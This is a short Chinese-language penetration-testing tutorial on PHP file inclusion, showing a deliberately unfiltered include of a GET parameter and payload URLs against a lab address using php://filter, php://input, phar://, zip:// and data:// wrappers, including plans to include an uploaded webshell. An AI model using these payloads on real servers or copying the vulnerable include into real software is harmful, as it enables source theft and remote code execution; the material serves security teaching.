文件包含漏洞(2), 伪协议, php://filter, php://input

伪协议利用

条件:

php.ini配置文件中 allow_url_fopen=On 是开启状态.

测试文件:
http://192.168.112.200/security/fileinc.php


$filename = $_GET['filename'];
// 或include_once, require, require_once
include $filename;    
echo "
欢迎来到PHP的世界.
"
; ?>

GET方法的 filename 参数用户可控, 且没有对包含的文件进行过滤和限制.

1. php://filter

功能: 读取php脚本的内容并编码

文件包含php代码后, 会自动被web引擎解释执行, 如果想查看源码而不是执行, 则可以使用这个协议.
读取common.php的源码, 并用base64编码显示. 通过base64解码即可得到php代码.

http://192.168.112.200/security/fileinc.php?
filename=php://filter/read/convert.base64-encode/resource=common.php
2. php://input

功能: 将post提交的代码作为输入

条件: allow_url_include=On 已经开启

通过post提交代码来执行.

http://192.168.112.200/security/fileinc.php?filename=php://input

post data:

<?php phpinfo(); ?>
3. phar://

功能: phar用于对压缩文件的读取, 配合文件上传漏洞, 或phar反序列化漏洞.

把一句话木马文件压缩成zip格式, 上传到服务器(服务器没有限制zip上传).
通过该phar可以直接访问zip内的txt文件.

mm.txt -> mm.zip

http://192.168.112.200/security/fileinc.php?filename=phar://test/mm.zip/mm.txt
4. zip://

与phar功能相同, 但是不能读取包含多级目录的压缩包.

5. data://

与input功能类似, 但是发送GET请求.

http://192.168.112.200/security/fileinc.php?filename=data://text/plain,<?php phpinfo(); ?>

也可以发送base64编码后的代码

http://192.168.112.200/security/fileinc.php
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

你可能感兴趣的:(渗透测试,php,开发语言)